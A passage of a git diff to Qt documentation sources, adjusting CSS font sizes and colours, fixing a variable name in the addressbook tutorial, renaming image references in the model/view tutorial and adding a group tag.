160%; + font-size: 135%; width: 100%; } .content h3 { font-weight: bold; - font-size: 1.4em; + font-size: 120%; width: 100%; } .content table p @@ -418,7 +428,7 @@ .qmltype { text-align: center; - font-size: 160%; + font-size: 120%; } .qmlreadonly { @@ -583,7 +593,7 @@ } .small { - font-size: 0.75em; + font-size: 0.5em; } /* end footer elements */ diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index aa98af8..df2729c 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -200,7 +200,7 @@ } span.operator { - color: black; + color: #202020; } span.keyword { @@ -210,6 +210,18 @@ { color: black } + span.type + { + font-weight: bold + } + span.type a:visited + { + color: #0F5300; + } + span.preprocessor + { + color: #404040 + } /* end basic elements */ /* font style elements */ @@ -226,15 +238,15 @@ { font-size: 13px; } - .red - { - color:red; - } - .figCaption{ - color:#363534; - font:italic 11px/1.2 Verdana; - padding-top:0; - } + .red + { + color:red; + } + .figCaption{ + color:#363534; + font:italic 11px/1.2 Verdana; + padding-top:0; + } /* end font style elements */ /* global settings*/ diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc index cbc918f..ec4a4f3 100644 --- a/doc/src/tutorials/addressbook.qdoc +++ b/doc/src/tutorials/addressbook.qdoc @@ -831,7 +831,7 @@ \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2 Although it is not shown here, just like the other features we implemented, - we add the push buttons to the layout panel on the right, \c button1Layout, + we add the push buttons to the layout panel on the right, \c buttonLayout1, and we connect the push buttons' \l{QPushButton::clicked()}{clicked()} signals to their respective slots. diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 88cda72..cae7764 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -104,7 +104,7 @@ array of the data elements that the user can change. The table widget can be integrated into a program flow by reading and writing the data elements that the table widget provides. - + This method is very intuitive and useful in many applications, but displaying and editing a database table with a standard table widget can be problematic. Two copies of the data have to be coordinated: one outside the @@ -156,7 +156,7 @@ \o \o \l QColumnView shows a tree as a hierarchy of lists \row - \o \inlineimage combobox.png + \o \inlineimage modelview-combobox.png \o {2, 1} \l QComboBox can work as both a view class and also as a traditional widget \endtable @@ -348,7 +348,7 @@ \section2 2.4 Setting up Headers for Columns and Rows Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();} - \image header.png + \image modelview-header.png The header content, however, is set via the model, so we reimplement the \l{QAbstractItemModel::headerData()}{headerData()} method: diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index 60d8cbd..be845c4 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -32,6 +32,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts + \ingroup qt-gui-concepts \previouspage {Styles and Style Aware Widgets}{Styles} \contentspage Widgets and Layouts |